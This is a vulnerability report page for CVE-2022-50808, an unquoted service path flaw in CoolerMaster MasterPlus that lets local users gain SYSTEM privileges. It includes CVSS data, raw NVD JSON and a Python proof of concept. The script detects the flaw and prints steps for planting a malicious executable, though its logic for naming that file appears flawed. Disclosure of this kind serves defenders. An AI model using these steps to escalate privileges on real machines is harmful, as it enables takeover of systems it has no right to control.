Security Vulnerability Report
中文
CVE-2022-50808 CVSS 8.4 HIGH

CVE-2022-50808

Published: 2026-01-13 23:15:50
Last Modified: 2026-04-15 00:35:42

Description

CoolerMaster MasterPlus 1.8.5 contains an unquoted service path vulnerability in the MPService that allows local attackers to execute code with elevated system privileges. Attackers can drop a malicious executable in the service path and trigger code execution during service startup or system reboot.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

CoolerMaster MasterPlus < 1.8.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2022-50808 PoC - Unquoted Service Path in CoolerMaster MasterPlus MPService # This PoC demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges to SYSTEM level import os import sys import subprocess import shutil def check_vulnerability(): """Check if the system is vulnerable to CVE-2022-50808""" try: # Query the MPService configuration using sc command result = subprocess.run( ['sc', 'qc', 'MPService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Found MPService path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not path.startswith('"'): print("[!] System is VULNERABLE - Unquoted path with spaces detected") return True, path else: print("[-] System is NOT vulnerable") return False, path else: print("[-] MPService not found on this system") return False, None except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False, None def exploit_vulnerability(service_path): """Exploit the unquoted service path vulnerability""" print("\n[!] Exploitation steps:") print("1. Analyze the service path to find exploitable location") print("2. Create malicious executable in the path before a space") print("3. Wait for service restart or system reboot") print("4. Malicious code executes with SYSTEM privileges") # Extract path components path_parts = service_path.split('\\\\') if len(path_parts) > 2: # Find the directory before the executable exploit_dir = '\\\\'.join(path_parts[:-1]) malicious_name = path_parts[-2] + '.exe' print(f"\n[+] Potential exploit location: {exploit_dir}\\\\{malicious_name}") print(f"[+] Attacker would create: {malicious_name}") if __name__ == '__main__': print("CVE-2022-50808 - CoolerMaster MasterPlus MPService Unquoted Service Path") print("=" * 70) is_vulnerable, path = check_vulnerability() if is_vulnerable: exploit_vulnerability(path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50808", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:50.193", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CoolerMaster MasterPlus 1.8.5 contains an unquoted service path vulnerability in the MPService that allows local attackers to execute code with elevated system privileges. Attackers can drop a malicious executable in the service path and trigger code execution during service startup or system reboot."}, {"lang": "es", "value": "CoolerMaster MasterPlus 1.8.5 contiene una vulnerabilidad de ruta de servicio sin comillas en el MPService que permite a atacantes locales ejecutar código con privilegios de sistema elevados. Los atacantes pueden colocar un ejecutable malicioso en la ruta del servicio y desencadenar la ejecución de código durante el inicio del servicio o el reinicio del sistema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://masterplus.coolermaster.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51159", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/coolermaster-masterplus-mpservice-unquoted-service-path", "source": "[email protected]"}]}}